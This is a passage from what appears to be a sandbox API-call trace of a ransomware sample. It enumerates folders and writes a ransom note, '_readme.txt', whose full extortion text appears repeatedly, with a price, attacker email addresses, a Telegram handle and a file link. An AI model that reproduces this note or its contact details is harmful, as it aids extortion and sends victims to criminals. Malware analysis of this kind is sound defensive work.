cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5590 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e59f0 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c48 [0059.083] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x310) returned 0x3102798 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bd0 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5838 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51a8 [0059.083] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5978 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e57e8 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b08 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5400 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5a40 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5220 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5428 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e59a0 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5748 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51f8 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5298 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54f0 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5310 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5680 [0059.084] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e59f0 [0059.084] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5590 [0059.084] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.084] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.084] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.085] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.085] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.085] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.085] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.085] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0059.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.085] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.085] PathFindFileNameW (pszPath="") returned="" [0059.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.085] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.085] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.086] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.086] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52c0 | out: hHeap=0x670000) returned 1 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8230 [0059.086] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.086] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52c0 | out: hHeap=0x670000) returned 1 [0059.086] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0059.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.087] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.087] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.087] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.087] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.087] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.088] CloseHandle (hObject=0x5c0) returned 1 [0059.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e52c0 [0059.088] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52c0 | out: hHeap=0x670000) returned 1 [0059.089] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.089] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a33450, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.089] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a33450, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.089] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.089] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.089] HeapFree (in: hHeap=0x670000, 